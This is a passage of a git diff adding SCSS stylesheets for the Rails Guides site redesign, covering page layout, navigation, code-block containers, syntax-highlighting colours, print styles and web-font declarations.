+      border-bottom: 1px solid $gray-500;
+      margin: 0 0 1em 0;
+
+      .guides-indes-list &:last-child {
+        border-bottom: none;
+      }
+    } // dd
+  } // dl
+
+  li {
+    margin-bottom: 0.5em;
+  }
+
+  // Code
+
+  pre,
+  code {
+    font-size: 1rem;
+    font-family: "IBM Plex Mono", "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace !important;
+    line-height: 1.5;
+    margin: 1em 0;
+    overflow: auto;
+  } // pre, code
+
+  p code,
+  ul code {
+    background: $gray-200;
+    border-radius: calc($base-border-radius / 2);
+    padding: 1px 3px;
+  }
+
+  p img {
+    max-width: 100%;
+  }
+
+  pre,
+  tt,
+  code {
+    // https://caniuse.com/mdn-css_properties_white-space_pre-wrap
+    white-space: pre-wrap; /* css-3 */
+    white-space: -pre-wrap; /* Opera 4-6 */
+    white-space: -o-pre-wrap; /* Opera 7 */
+    word-wrap: break-word; /* Internet Explorer 5.5+ */
+  }
+
+  // Ensures that 'code' inside 'pre' preserves formatting and does not wrap, makes it horizontally scrollable instead
+  pre {
+    code {
+      white-space: pre;
+    }
+  }
+
+  // Back to Top element
+
+  a.back-to-top {
+    background: url("../images/up_white_arrow.png") no-repeat center center,
+      $rf-brand;
+    background-size: 1em;
+    border-radius: calc($base-border-radius * 2);
+    box-shadow: 0 2px 20px rgba(0, 0, 0, 0.25);
+    padding: 1.5em;
+    position: fixed;
+    right: 1em;
+    bottom: 1em;
+    visibility: hidden;
+  }
+
+  &.no-js a.back-to-top,
+  a.back-to-top.show {
+    visibility: visible;
+  }
+
+  @supports (animation-timeline: scroll()) {
+    @keyframes fade-in {
+      from {
+        opacity: 0;
+      }
+      to {
+        opacity: 1;
+      }
+    }
+
+    a.back-to-top {
+      visibility: visible;
+
+      animation: fade-in auto linear both;
+      animation-timeline: scroll();
+      animation-range: 100px 300px;
+    }
+  }
+
+  // Screen reader utilities
+  .visibly-hidden {
+    position: absolute;
+    width: 1px;
+    height: 1px;
+    padding: 0;
+    margin: -1px;
+    overflow: hidden;
+    clip: rect(0, 0, 0, 0);
+    white-space: nowrap;
+    border-width: 0;
+  }
+
+  .not-visibly-hidden {
+    position: static;
+    width: auto;
+    height: auto;
+    padding: 0;
+    margin: 0;
+    overflow: visible;
+    clip: auto;
+    white-space: normal;
+  }
+
+  // Progressive enhancement
+  &.no-js .js-only,
+  &:not(.no-js) .js-hidden {
+    display: none !important;
+  }
+
+  // ----------------------------------------------------------------------------
+  // Layout
+  // ----------------------------------------------------------------------------
+
+  .wrapper {
+    padding: 1em;
+    text-align: left;
+
+    @include media(">desktop") {
+      // 1024
+      max-width: calc(55rem + 420px);
+      margin: 0 auto;
+      padding-right: 470px;
+
+      :where(html[dir="rtl"]) & {
+        padding-right: 1.5em;
+        padding-left: 470px;
+      }
+    }
+  } // .wrapper
+
+  main .wrapper {
+    padding-top: 0;
+
+    h2:first-child {
+      margin-top: 0;
+    }
+  }
+
+  select {
+    border-radius: $base-border-radius;
+    padding: 0.25em;
+  }
+
+  // mobile-navigation-bar is a hidden area for mobile only
+  #mobile-navigation-bar {
+    background-color: $gray-200;
+    color: $gray-600;
+    padding: 0.5em 0;
+    font-size: 0.875rem;
+
+    @include media(">desktop") {
+      display: none;
+    }
+
+    .wrapper {
+      text-align: center;
+    }
+
+    .hidden {
+      display: none;
+    }
+
+    .red-button {
+      background: $rf-brand;
+      border: 0;
+      border-bottom: 2px solid $rf-brand-dark;
+      border-radius: $base-border-radius;
+      color: white;
+      padding: 0.5em 1em;
+
+      &:active {
+        background: $rf-brand-dark;
+      }
+    }
+
+    .more-info-label {
+      @include media("<desktop") {
+        display: none;
+      }
+    }
+
+    .more-info-button {
+      cursor: pointer;
+    }
+
+    .more-info-links {
+      @extend %list-in-disguise;
+      background: $gray-200;
+      border-radius: $base-border-radius;
+      box-shadow: 0 2px 20px rgba(0, 0, 0, 0.25);
+      font-size: 1.25em;
+      position: absolute;
+      left: 10vw;
+      width: 80vw;
+
+      li {
+        border-bottom: 1px solid $gray-300;
+        padding: 0.5em;
+
+        &:last-child {
+          border-bottom: none;
+        }
+
+        a,
+        a:link,
+        a:visited {
+          font-weight: bold;
+          text-decoration: none;
+        }
+      }
+    }
+  } // #mobile-navigation-bar
+
+  header#page-header {
+    width: 100%;
+
+    .wrapper {
+      max-width: calc(57em + 400px);
+      padding-right: 0;
+    }
+
+    nav#feature-nav {
+      @include media(">desktop") {
+        align-items: top;
+        display: flex;
+        flex-direction: row;
+        justify-content: space-between;
+        width: 100%;
+      }
+
+      // Image augmented
+      .header-logo {
+        text-align: center;
+
+        a {
+          background-image: url("../images/logo_rails-circle.svg");
+          background-repeat: no-repeat;
+          background-position: top center;
+          display: inline-block;
+          font-family: "Calibre", sans-serif;
+          font-size: 2.25rem;
+          font-weight: 700;
+          margin: 0 auto;
+          padding-top: 75px;
+          text-align: center;
+          text-decoration: none;
+          font-weight: 700;
+
+          @include media(">desktop") {
+            padding: 10px 0 0 85px;
+            background-position: top left;
+            height: 85px;
+            vertical-align: middle;
+          }
+        } // a
+
+        span#version-switcher {
+          color: $gray-600;
+          display: block;
+          font-size: 0.75em;
+
+          @include media(">desktop") {
+            display: inline-block;
+            margin-left: 0.5em;
+            vertical-align: 1px;
+          }
+
+          select {
+            color: $gray-600;
+          }
+        } // span#version-switcher
+      } // .header-logo
+
+      ul.nav {
+        @extend %list-in-disguise;
+        margin: 1em 1em 0 1em;
+
+        @include media(">desktop") {
+          display: flex;
+          flex-direction: row;
+          justify-content: flex-end;
+          margin: 0;
+          padding: 1em 0 0 0;
+        }
+
+        li {
+          background: $gray-200;
+          border-bottom: 1px solid $gray-300;
+          font-size: 1.25em;
+          text-align: center;
+          padding: 1em;
+
+          @include media(">desktop") {
+            background: none;
+            border: none;
+            font-size: 0.75rem;
+            height: 24px;
+            padding-top: 5px;
+
+            &:first-child {
+              padding-top: 0;
+            }
+
+            a,
+            a:link,
+            a:visited {
+              color: $gray-900;
+              font-weight: bold;
+              text-decoration: none;
+            }
+          }
+
+          &:first-child {
+            border-top-left-radius: $base-border-radius;
+            border-top-right-radius: $base-border-radius;
+          }
+          &:nth-last-child(2) {
+            border-bottom: none;
+            border-bottom-left-radius: $base-border-radius;
+            border-bottom-right-radius: $base-border-radius;
+          }
+          &:last-child {
+            // the drop down
+            background: none;
+            border: none;
+            padding: 1em 0 0 0;
+
+            select {
+              max-width: 100%;
+            }
+          }
+
+          a#home_nav {
+            @include media(">desktop") {
+              // Image replacement
+              background-color: transparent;
+              color: transparent;
+              border: 0;
+              overflow: hidden;
+              text-indent: 100%;
+              text-shadow: none;
+              white-space: nowrap;
+
+              &:before {
+                content: "";
+                display: block;
+                height: 100%;
+                width: 0;
+              }
+
+              // all the rest
+              background-image: url("../images/icon_house-chimney.svg");
+              background-repeat: no-repeat;
+              background-position: top center;
+              display: inline-block;
+              height: 24px;
+              width: 24px;
+            }
+          }
+
+          &.guides-index-large {
+            @include media("<desktop") {
+              display: none;
+            }
+          }
+
+          &.guides-index-small {
+            label {
+              display: block;
+              margin-bottom: 4px;
+              font-size: 16px;
+            }
+
+            @include media(">desktop") {
+              display: none;
+            }
+            @include media("<desktop") {
+              display: block;
+            }
+          }
+        }
+      }
+    } // nav#feature-nav
+  } // header#page-header
+
+  // Desktop guides flyout
+
+  .guides-index .guides-index-item {
+    position: relative;
+    z-index: 15;
+    padding-bottom: 0.125em;
+    :where(html[dir="ltr"]) & { background-position: right top; padding-right: 1em; }
+    :where(html[dir="rtl"]) & { background-position: left top; padding-left: 1em; }
+  }
+
+  #guides {
+    background: $gray-200;
+    box-shadow: 0 2px 20px rgba(0, 0, 0, 0.25);
+    display: block;
+    border-radius: $base-border-radius;
+    color: $gray-900;
+    padding: 2em 2em 1.5em 2em;
+    position: absolute;
+    top: 25px;
+    right: 50px;
+    width: 90vw;
+    max-width: 1000px;
+    z-index: 10;
+    :where(html[dir="ltr"]) & { left: auto; right: 50px; }
+    :where(html[dir="rtl"]) & { left: 50px; right: auto; }
+
+    &.visible {
+      display: block !important;
+    }
+
+    .guides-section-container {
+      display: flex;
+      flex-direction: column;
+      flex-wrap: wrap;
+      max-height: 60em;
+      width: 100%;
+
+      .guides-section {
+        flex: auto;
+        margin: 0 2em 0.5em 0;
+        text-align: left;
+        width: 33%;
+
+        dt,
+        dd {
+          font-weight: 400 !important;
+          font-size: 0.825rem;
+          margin: 0;
+          padding: 0;
+          font-variant-numeric: lining-nums tabular-nums;
+        }
+
+        dt {
+          margin: 0.5em 0;
+          font-weight: bold !important;
+        }
+
+        dd {
+          line-height: 1.2;
+          margin-bottom: 0.5em;
+          border-bottom: none;
+
+          a,
+          a:link,
+          a:visited {
+            color: $gray-900;
+            text-decoration: none;
+            font-weight: 400 !important;
+          }
+
+          a:hover,
+          a:active {
+            color: $rf-brand !important;
+            text-decoration: underline !important;
+          }
+        }
+      }
+    }
+  } // #guides
+
+  footer#complementary {
+    background-color: $gray-800;
+    color: #fff;
+    font-size: 0.75em;
+    padding: 1.5em 1.5em .5em 1.5em;
+    width: 100%;
+
+    .wrapper {
+      padding: 0;
+
+      @include media('>desktop') {
+        padding: 0 1.5em;
+      }
+    }
+
+    p {
+      max-width: 100vw;
+    }
+  }
+
+  #feature {
+    background-color: $gray-100;
+
+    @include media(">desktop") {
+      background-color: #fff;
+    }
+
+    hr {
+      margin-top: 2.5em;
+    }
+
+    #column-side {
+      background-color: $gray-100;
+      border-radius: $base-border-radius;
+      font-size: 1rem;
+      padding: 0.5em 1em;
+
+      @include media(">desktop") {
+        display: block;
+        position: fixed;
+          top: 100px;
+          right: 50px;
+        max-height: calc(100vh - 200px);
+        width: 400px;
+
+        :where(html[dir="rtl"]) & {
+          right: auto;
+          left: 50px;
+        }
+      }
+
+      &.guide-index {
+        background-color: transparent !important;
+      }
+
+      @include media('>desktop-ultra-wide') {
+        right: calc(30vw - 400px);
+
+        :where(html[dir="rtl"]) & {
+          right: auto;
+          left: calc(30vw - 400px);
+        }
+      }
+
+      @include media('>desktop-hd') { // 1920
+        right: calc(40vw - 400px);
+
+        :where(html[dir="rtl"]) & {
+          right: auto;
+          left: calc(40vw - 400px);
+        }
+      }
+
+      h3.chapter img {
+        margin-right: 0.25em;
+      }
+
+      ol.chapters {
+        padding-inline-start: 3.5em;
+        padding-inline-end: 1em;
+
+        &::-webkit-scrollbar
+        {
+          width: 6px;
+          background-color: #f5f5f5;
+        }
+
+        &::-webkit-scrollbar-track {
+          background-color: #f5f5f5;
+          border-radius: 6px;
+          box-shadow: inset 0 0 6px rgba(0, 0, 0, 0.3);
+        }
+
+        &::-webkit-scrollbar-thumb {
+          border-radius: 5px;
+          background-image: -webkit-gradient(
+            linear,
+            left bottom,
+            left top,
+            color-stop(0.44, $rf-brand-light),
+            color-stop(0.72, $rf-brand),
+            color-stop(0.86, $rf-brand-dark)
+          );
+        }
+
+        @include media(">desktop") {
+          overflow-y: auto;
+          overflow-x: hidden;
+          max-height: calc(100vh - 350px);
+        }
+
+        li {
+          font-weight: bold;
+
+          a {
+            position: relative;
+            display: block;
+            word-wrap: break-word;
+          }
+
+          a,
+          a:link,
+          a:visited {
+            color: $gray-900;
+            text-decoration: none;
+          }
+
+          a:hover,
+          a:active {
+            color: $rf-brand;
+            text-decoration: underline;
+          } // a
+
+          ul {
+            margin-top: 0.5em;
+            margin-bottom: 0.75em;
+            padding-inline-start: 1em;
+            padding-inline-end: 0.25em;
+
+            li {
+              font-weight: 400;
+
+              a[href]:not([href=""]) {
+                &::after { // highlight
+                  @include media('>desktop') {
+                    width: 328px;
+                  }
+                  left: -3em;
+
+                  :where(html[dir="rtl"]) & {
+                    right: -3em;
+                    left: unset;
+                  }
+                }
+
+                &::before { // red square
+                  left: -2.5em;
+                  top: 7px;
+
+                  :where(html[dir="rtl"]) & {
+                    right: -2.5em;
+                    left: unset;
+                  }
+                }
+              }
+            } // li
+          } // ul
+
+          a[href]:not([href=""]) {
+            &::before { // red square
+              @include media('>desktop') {
+                content: '';
+                display: block;
+              }
+              position: absolute;
+              height: 10px;
+              width: 10px;
+              top: 6px;
+              left: -3em;
+              border-radius: 3px;
+              background-color: $rf-brand;
+              opacity: 0;
+              transition: opacity 0.2s ease-in-out;
+
+              :where(html[dir="rtl"]) & {
+                right: -3em;
+                left: unset;
+              }
+            }
+
+            &::after { // highlight
+              content: '';
+              position: absolute;
+              display: block;
+              height: calc(100% + 10px);
+              @include media('>desktop') {
+                width: 352px;
+              }
+              top: 50%;
+              transform: translateY(-50%);
+              left: -3.5em;
+              border-radius: 8px;
+              background-color: $stop-bkgnd;
+              opacity: 0;
+              transition: opacity 0.2s ease-in-out;
+
+              :where(html[dir="rtl"]) & {
+                right: -3.5em;
+                left: unset;
+              }
+            }
+
+            &[aria-current]::before,
+            &[aria-current]::after {
+              opacity: 1;
+            }
+          }
+        } // li
+
+        > li:first-child {
+          margin-top: 0.5em;
+        }
+      } // ol
+    }
+  }
+} // body.guide
+
+html[dir="rtl"] {
+  body.guide {
+    direction: rtl;
+
+    p, table th, .wrapper,
+    #guides .guides-section-container .guides-section {
+      text-align: right;
+    }
+  } // body.guide
+
+  &:lang(ar), &:lang(fa) {
+    body.guide {
+      h1, h2, h3, h4, h5, h6, p, dl, dd, dt, ul, ol, li,
+      header#page_header nav#feature_nav .header-logo a {
+        font-family: "Noto Sans Arabic", sans-serif !important;
+        font-optical-sizing: auto;
+        font-weight: 400;
+        font-style: normal;
+        font-variation-settings: "wdth" 100;
+      }
+    } // body.guide
+  } // &:lang(ar), &:lang(fa)
+
+  &:lang(he), &:lang(iw) {
+    body.guide {
+      h1, h2, h3, h4, h5, h6, p, dl, dd, dt, ul, ol, li,
+      header#page_header nav#feature_nav .header-logo a {
+        font-family: "Heebo", sans-serif !important;
+        font-optical-sizing: auto;
+        font-weight: 400;
+        font-style: normal;
+      }
+    } // body.guide
+  } // &:lang(he), &:lang(iw)
+} // html[dir="rtl"]
diff --git a/guides/assets/stylesrc/components/_code-container.scss b/guides/assets/stylesrc/components/_code-container.scss
new file mode 100644
index 0000000000000..47d517d49320b
--- /dev/null
+++ b/guides/assets/stylesrc/components/_code-container.scss
@@ -0,0 +1,105 @@
+// ----------------------------------------------------------------------------
+// Containers
+//
+// These are interstitial elements used throughout the guides, providing help,
+// context, more info, or warnings to readers.
+// ----------------------------------------------------------------------------
+
+/* Same bottom margin for special boxes than for regular paragraphs, this way
+intermediate whitespace looks uniform. */
+
+.interstitial,
+dl dd .interstitial {
+  display: flex;
+  align-items: center;
+  background-repeat: no-repeat;
+  background-size: 36px 36px;
+  border-radius: $base-border-radius;
+  border: 2px solid $gray-500;
+  border-style: solid !important;
+  border-width: 2px !important;
+  min-height: calc(36px + 1.5em);
+  margin: 2em auto;
+  padding: 0.75em !important;
+  position: relative;
+
+  // Padding and spacing for LTR vs RTL language defaults
+  :where(html[dir="ltr"]) & { background-position: 10px 10px; padding-right: 1em !important; padding-left: 56px !important; }
+  :where(html[dir="rtl"]) & { background-position: calc(100% - 10px) 10px; padding-right: 56px !important; padding-left: 1em !important; }
+
+  /* Remove bottom margin of paragraphs in special boxes, otherwise they get a
+  spurious blank area below with the box background. */
+  p {
+    margin-bottom: 0.75em;
+
+    &:last-child {
+      margin-bottom: 0;
+    }
+  }
+
+  &.code {
+    border: none !important;
+    background-color: $gray-900;
+    min-height: auto; // remove if icon is restored
+    padding-left: 1em !important; // remove if icon is restored
+    direction: ltr !important;
+    text-align: left !important;
+    width: 100%;
+    white-space: normal;
+
+    pre {
+      margin: 0;
+      white-space: pre;
+    }
+
+    button.clipboard-button {
+      color: $gray-100;
+      cursor: pointer;
+      background-color: $gray-700;
+      border: 1px solid $gray-500;
+      border-radius: 4px;
+      font-size: 0.75em;
+      padding: 0.25em 0.5em !important;
+      position: absolute;
+        bottom: 10px;
+        right: 10px;
+      text-transform: uppercase;
+      width: auto;
+    } // button.clipboard-button
+  } // &.code
+
+  &.note {
+    border-color: $note;
+    background-color: $note-bkgnd;
+    background-image: url("../images/icon_task-list-pin.svg");
+  }
+
+  &.work-in-progress,
+  &.todo {
+    border-color: $note;
+    background-color: $note-bkgnd;
+    background-image: url("../images/icon_construction-sign.svg");
+  }
+
+  &.info {
+    border-color: $tip;
+    background-color: $tip-bkgnd;
+    background-image: url("../images/icon_bulb-1.svg");
+  }
+
+  &.warning {
+    border-color: $stop;
+    background-color: $stop-bkgnd;
+    background-image: url("../images/icon_hand-stop.svg");
+  }
+
+  &.question {
+    border-color: $gray-500;
+    background-color: $gray-200;
+    background-image: url("../images/icon_question-bubble.svg");
+  }
+
+  &.kindle {
+    padding-top: 1em !important;
+  }
+} // .interstitial
diff --git a/guides/assets/stylesrc/highlight.scss b/guides/assets/stylesrc/highlight.scss
new file mode 100644
index 0000000000000..18f7cec4edfcd
--- /dev/null
+++ b/guides/assets/stylesrc/highlight.scss
@@ -0,0 +1,139 @@
+/* ----------------------------------------------------------------------------
+// Rails Guides Redesign
+// February 2024
+//
+// John Athayde (https://www.johnathayde.com) for Meticulous
+// ---------------------------------------------------------------------------- */
+
+// ----------------------------------------------------------------------------
+// Syntax Highlighting
+// ----------------------------------------------------------------------------
+
+.highlight {
+  background-color: transparent !important;
+  table {
+    td { padding: 5px; }
+    pre { margin: 0; }
+  } // table
+
+  // Block Styles - Global
+
+  .c,
+  .cd,
+  .ch,
+  .cm,
+  .cpf,
+  .cs
+  .c1,
+  .ge {
+    font-style: italic;
+  }
+
+  .cp,
+  .cs,
+  .fm,
+  .gs,
+  .kc,
+  .kd,
+  .kn,
+  .kp,
+  .kr,
+  .kt,
+  .nc,
+  .nd,
+  .ne,
+  .nf,
+  .nl,
+  .o,
+  .ow {
+    font-weight: 500;
+  }
+
+} // .highlight
+
+// ----------------------------------------------------------------------------
+// The Colors
+//
+// These are the inverse of what they used to be, as we use a dark block on the
+// light background and a light block on the dark background pages.
+
+.highlight {
+  color: #fff;
+  &.plaintext,
+  &.console,
+  &.erb,
+  &.html { color: #fff; }
+  .hll {
+    background-color: #3a3939;
+    border-left: 3px solid #00F0FF;
+    padding-right: 5px;
+
+    :first-child {
+      margin-left: -3px;
+    }
+  } /* $gray-700, $tip */
+  .c   { color: #b4b4b3; } /* Comment */
+  .err { color: #ff0088; background-color: #1e0010 } /* Error */
+  .k   { color: #9decfc; } /* Keyword */
+  .l   { color: #cfb7fd; } /* Literal */
+  .n   { color: #f8f8f2; } /* Name */
+  .o   { color: #ff699b; } /* Operator */
+  .p   { color: #f8f8f2; } /* Punctuation */
+  .pi  { color: #c74646; } /* Punctuation.Indicator */
+  .cm  { color: #b4b4b3; } /* Comment.Multiline */
+  .cp  { color: #b4b4b3; } /* Comment.Preproc */
+  .c1  { color: #b4b4b3; } /* Comment.Single */
+  .cs  { color: #b4b4b3; } /* Comment.Special */
+  .kc  { color: #9decfc; } /* Keyword.Constant */
+  .kd  { color: #9decfc; } /* Keyword.Declaration */
+  .kn  { color: #ff699b; } /* Keyword.Namespace */
+  .kp  { color: #9decfc; } /* Keyword.Pseudo */
+  .kr  { color: #9decfc; } /* Keyword.Reserved */
+  .kt  { color: #9decfc; } /* Keyword.Type */
+  .ld  { color: #fff5ab; } /* Literal.Date */
+  .m   { color: #cfb7fd; } /* Literal.Number */
+  .s   { color: #fff5ab; } /* Literal.String */
+  .na  { color: #d0ff71; } /* Name.Attribute */
+  .nb  { color: #f8f8f2; } /* Name.Builtin */
+  .nc  { color: #d0ff71; } /* Name.Class */
+  .no  { color: #9decfc; } /* Name.Constant */
+  .nd  { color: #d0ff71; } /* Name.Decorator */
+  .ni  { color: #f8f8f2; } /* Name.Entity */
+  .ne  { color: #d0ff71; } /* Name.Exception */
+  .nf  { color: #d0ff71; } /* Name.Function */
+  .nl  { color: #f8f8f2; } /* Name.Label */
+  .nn  { color: #f8f8f2; } /* Name.Namespace */
+  .nx  { color: #d0ff71; } /* Name.Other */
+  .py  { color: #f8f8f2; } /* Name.Property */
+  .nt  { color: #ff699b; } /* Name.Tag */
+  .nv  { color: #f8f8f2; } /* Name.Variable */
+  .ow  { color: #ff699b; } /* Operator.Word */
+  .w   { color: #f8f8f2; } /* Text.Whitespace */
+  .mf  { color: #cfb7fd; } /* Literal.Number.Float */
+  .mh  { color: #cfb7fd; } /* Literal.Number.Hex */
+  .mi  { color: #cfb7fd; } /* Literal.Number.Integer */
+  .mo  { color: #cfb7fd; } /* Literal.Number.Oct */
+  .sb  { color: #fff5ab; } /* Literal.String.Backtick */
+  .sc  { color: #fff5ab; } /* Literal.String.Char */
+  .sd  { color: #fff5ab; } /* Literal.String.Doc */
+  .s2  { color: #fff5ab; } /* Literal.String.Double */
+  .se  { color: #cfb7fd; } /* Literal.String.Escape */
+  .sh  { color: #fff5ab; } /* Literal.String.Heredoc */
+  .si  { color: #fff5ab; } /* Literal.String.Interpol */
+  .sx  { color: #fff5ab; } /* Literal.String.Other */
+  .sr  { color: #fff5ab; } /* Literal.String.Regex */
+  .s1  { color: #fff5ab; } /* Literal.String.Single */
+  .ss  { color: #fff5ab; } /* Literal.String.Symbol */
+  .bp  { color: #f8f8f2; } /* Name.Builtin.Pseudo */
+  .vc  { color: #f8f8f2; } /* Name.Variable.Class */
+  .vg  { color: #f8f8f2; } /* Name.Variable.Global */
+  .vi  { color: #f8f8f2; } /* Name.Variable.Instance */
+  .il  { color: #cfb7fd; } /* Literal.Number.Integer.Long */
+  .gh  { color: #b4b4b3; } /* Generic Heading & Diff Header */
+  .gu  { color: #9e9b8a; } /* Generic.Subheading & Diff Unified/Comment? */
+  .gd  { color: #ff699b; background-color: unset; } /* Generic.Deleted & Diff Deleted */
+  .gi  { color: #d0ff71; background-color: unset; } /* Generic.Inserted & Diff Inserted */
+  .gr  { color: #ff699b; }
+  .go  { color: #b4b4b3; }
+  .gp  { color: #fff; }
+}
diff --git a/guides/assets/stylesrc/print.scss b/guides/assets/stylesrc/print.scss
new file mode 100644
index 0000000000000..e6760ba6caf12
--- /dev/null
+++ b/guides/assets/stylesrc/print.scss
@@ -0,0 +1,199 @@
+/* ----------------------------------------------------------------------------
+// Rails Guides Redesign - Print Styles
+//
+// Created: 29 March 2024
+// Modified: 29 March 2024
+// ---------------------------------------------------------------------------- */
+
+@import 'vendor/include-media';
+
+@media print {
+  // remove screen UI stuff
+  *,
+  *::before,
+  *::after {
+    background: #fff !important;
+    color: #000 !important;
+    /* Black prints faster */
+    box-shadow: none !important;
+    text-shadow: none !important;
+  }
+
+  // Set Page layout
+  @page {
+    margin: 0.75in 0.25in;
+  }
+
+  @page:left{
+    @bottom-left {
+      content: "Page " counter(page) " of " counter(pages);
+    }
+  }
+
+  // Include link address with linked text
+  a,
+  a:visited {
+    text-decoration: underline;
+  }
+
+  a[href]::after {
+    content: " (" attr(href) ")";
+  }
+
+  a:link, a:visited {
+    background: transparent;
+    font-weight: bold;
+    text-decoration: underline;
+
+    pre, code {
+      font-weight: normal !important;
+    }
+  }
+
+  abbr[title]::after {
+    content: " (" attr(title) ")";
+  }
+
+  /*
+   * Don't show links that are fragment identifiers,
+   * or use the `javascript:` pseudo protocol
+   */
+  a[href^="#"]::after,
+  a[href^="javascript:"]::after {
+    content: "";
+  }
+
+  pre {
+    white-space: pre-wrap !important;
+  }
+
+  pre,
+  blockquote {
+    page-break-inside: avoid;
+  }
+
+  tr,
+  img {
+    page-break-inside: avoid;
+  }
+
+  p,
+  h2,
+  h3 {
+    orphans: 3;
+    widows: 3;
+  }
+
+  h2,h3,h4,h5,h6 {
+    page-break-after: avoid;
+  }
+
+  body.guide,
+  .wrapper,
+  header,
+  footer,
+  main,
+  #feature,
+  #column-side {
+    background: #fff;
+    color: #000;
+    position: static;
+    display: block;
+    float: none;
+    height: auto;
+    min-height: 0;
+    margin: 0;
+    padding: 0;
+    text-align: left;
+    text-indent: 0;
+    width: auto;
+  }
+
+  body.guide {
+    // Force backgrounds to print
+    -webkit-print-color-adjust:exact !important;
+    print-color-adjust:exact !important;
+    font-size: 10pt !important;
+    line-height: 1.4;
+    padding: 0 3%;
+
+    .wrapper {
+      max-width: unset !important;
+      padding-right: unset !important;
+    }
+
+    .hide,
+    nav {
+      display: none !important;
+    }
+
+    #feature #subCol {
+      display: block !important;
+
+      @include media('>desktop') {
+        display: block !important;
+        height: auto;
+        max-height: unset;
+        position: unset;
+        width: 100%;
+      }
+
+      ol.chapters {
+        height: auto;
+        max-height: unset;
+        overflow: hidden;
+      }
+    }
+
+    .interstitial {
+      background-repeat: no-repeat !important;
+      background-size: 36px 36px !important;
+      background-position: 10px 10px !important;
+
+      &.note {
+        background-image: url("../images/icon_task-list-pin.svg") !important;
+      }
+
+      &.work-in-progress,
+      &.todo {
+        background-image: url("../images/icon_construction-sign.svg") !important;
+      }
+
+      &.info {
+        background-image: url("../images/icon_bulb-1.svg") !important;
+      }
+
+      &.warning {
+        background-image: url("../images/icon_hand-stop.svg") !important;
+      }
+
+      &.question {
+        background-image: url("../images/icon_question-bubble.svg") !important;
+      }
+    }
+
+    .code  {
+      background-color: #FAF9F8 !important;
+
+      pre, span {
+        background-color: transparent !important;
+        border: none;
+        font-size: 9.5pt !important;
+      }
+
+      button {
+        display: none;
+      }
+    }
+
+    hr {
+      height: 1.5em;
+      background: url("../images/hr_rails.svg") center no-repeat !important;
+    }
+
+    code, pre {
+      font-size: 9.5pt !important;
+    }
+
+  } // body.guide
+}
diff --git a/guides/assets/stylesrc/style.scss b/guides/assets/stylesrc/style.scss
new file mode 100644
index 0000000000000..73face4b4a3a5
--- /dev/null
+++ b/guides/assets/stylesrc/style.scss
@@ -0,0 +1,270 @@
+/* ----------------------------------------------------------------------------
+// Rails Guides Redesign
+// 
+// Created: 29 February 2024
+// Modified: 19 March 2024
+// ---------------------------------------------------------------------------- */
+
+// ----------------------------------------------------------------------------
+// Imports
+
+@import 'vendor/normalize';
+@import 'vendor/boilerplate';
+@import 'vendor/include-media';
+
+// ----------------------------------------------------------------------------
+// Breakpoints
+//
+// This overrides the defaults in include-media.
+
+$breakpoints: (
+  'phone': 320px,
+  'phone-wide': 480px,
+  'tablet': 768px,
+  'desktop': 1024px,
+  'desktop-wide': 1280px,
+  'desktop-ultra-wide': 1440px,
+  'desktop-hd': 1920px,
+  'desktop-full': 2560px
+); 
+
+// ----------------------------------------------------------------------------
+// Variables
+
+// ----------------------------------------------------------------------------
+// Global Colors
+
+$rf-brand: #C81418;
+$rf-brand-light: lighten($rf-brand, 5%);
+$rf-brand-lighter: lighten($rf-brand, 15%);
+$rf-brand-lightest: lighten($rf-brand, 25%);
+$rf-brand-dark: darken($rf-brand, 15%);
+$rf-brand-darker: darken($rf-brand, 20%);
+$rf-highlight: rgba($rf-brand, 10%);
+
+$gray-100: #FAF9F8;
+$gray-200: #F5F3F1;
+$gray-300: #EBEBEA;
+$gray-400: #DCDCD8;
+$gray-500: #A9A9A8;
+$gray-600: #666666;
+$gray-650: #505050;
+$gray-700: #3A3939;
+$gray-800: #343434;
+$gray-850: #2E2E2E;
+$gray-900: #292929;
+$gray-1000: #181818;
+
+$note: #FFD600;
+$note-dark: rgba($note, 0.5);
+$note-bkgnd: rgba($note, 15%);
+$note-bkgnd-dark: rgba($note, 5%);
+
+
+$tip: #00F0FF;
+$tip-dark: rgba($tip, 0.5);
+$tip-bkgnd: rgba($tip, 15%);
+$tip-bkgnd-dark: rgba($tip, 5%);
+
+$stop: $rf-brand;
+$stop-dark: rgba($stop, 0.5);
+$stop-bkgnd: rgba($stop, 15%);
+$stop-bkgnd-dark: rgba($stop, 5%);
+
+// APCA has different rules if the background is darker than #333333.
+// The variables with darker in them are intended for those cases.
+// Large text is text that is > 24px
+// See https://github.com/Myndex/SAPC-APCA/discussions/106
+$text-on-dark-bg: #EDEDED; // APCA Lc 90 on gray-800
+$text-on-darker-bg: #E5E5E5; // APCA Lc -89.9 on gray-1000, Lc -87.4 on gray-900
+$large-text-on-darker-bg: #CCCCCC; // APCA Lc -74.6 on gray-1000, Lc -72.0 on gray-900
+
+// ----------------------------------------------------------------------------
+// Fonts
+// These are the same fonts that are used on the marcom site, and they are 
+// included from those links/embeds. 
+
+
+@font-face {
+  font-family: InterVariable;
+  font-style: normal;
+  font-weight: 100 900;
+  font-display: swap;
+  src: url('https://rubyonrails.org/assets/fonts/InterVariable.woff2?v=4.0') format('woff2');
+}
+@font-face {
+  font-family: InterVariable;
+  font-style: italic;
+  font-weight: 100 900;
+  font-display: swap;
+  src: url('https://rubyonrails.org/assets/fonts/InterVariable-Italic.woff2?v=4.0') format('woff2');
+}
+
+/* static fonts */
+@font-face { font-family:Inter; font-style:normal; font-weight:100; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-Thin.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:italic; font-weight:100; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-ThinItalic.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:normal; font-weight:200; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-ExtraLight.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:italic; font-weight:200; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-ExtraLightItalic.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:normal; font-weight:300; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-Light.woff2?v=4.0") format("woff2"); }
+@font-face { font-family:Inter; font-style:italic; font-weight:300; font-display:swap; src:url("https://rubyonrails.org/assets/fonts/Inter-LightItalic.woff2?v=4.0") format("woff2"); }
